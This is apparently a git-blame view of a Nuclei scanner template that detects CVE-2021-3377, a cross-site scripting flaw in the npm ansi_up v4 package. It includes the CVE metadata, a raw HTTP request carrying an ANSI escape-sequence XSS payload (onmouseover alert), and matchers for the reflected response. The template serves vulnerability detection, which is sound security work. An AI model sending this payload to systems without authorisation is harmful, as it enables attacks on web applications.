2021-07-26 17:18:45 +00:00
|
|
|
id: CVE-2021-3377
|
|
|
|
|
|
|
|
info:
|
2022-04-21 21:16:41 +00:00
|
|
|
name: npm ansi_up v4 - Cross-Site Scripting
|
2022-04-22 10:38:41 +00:00
|
|
|
author: geeknik
|
|
|
|
severity: medium
|
2022-04-21 21:16:41 +00:00
|
|
|
description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: Upgrade to v5.0.0 or later.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
|
|
|
|
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
|
2022-04-21 21:16:41 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-3377
|
|
|
|
cwe-id: CWE-79
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.00121
|
2023-11-06 12:42:20 +00:00
|
|
|
epss-percentile: 0.46174
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: ansi_up_project
|
|
|
|
product: ansi_up
|
2023-09-06 12:09:01 +00:00
|
|
|
framework: node.js
|
2023-07-11 19:49:27 +00:00
|
|
|
tags: cve,cve2021,xss,npm
|
2021-07-26 17:18:45 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-26 17:18:45 +00:00
|
|
|
- raw:
|
|
|
|
- |+
|
2022-06-06 10:40:15 +00:00
|
|
|
GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
|
2021-07-26 17:18:45 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
|
|
|
|
unsafe: true
|
2023-07-11 19:49:27 +00:00
|
|
|
|
2021-07-26 17:18:45 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-06-06 10:40:15 +00:00
|
|
|
- "sh\"/onmouseover=\"alert(1)\">"
|
2023-11-06 13:16:29 +00:00
|
|
|
|
|
|
|
# digest: 490a00463044022058fee306b36be83d27f80b6a60d0eb9d951482ae815e612ce6bbe73f6e66014e022020c0f9a989af9f1d6339a67ea4f7a628b174d8772f60efc314508d49f043634e:922c64590222798bb761d5b6d8e72950
|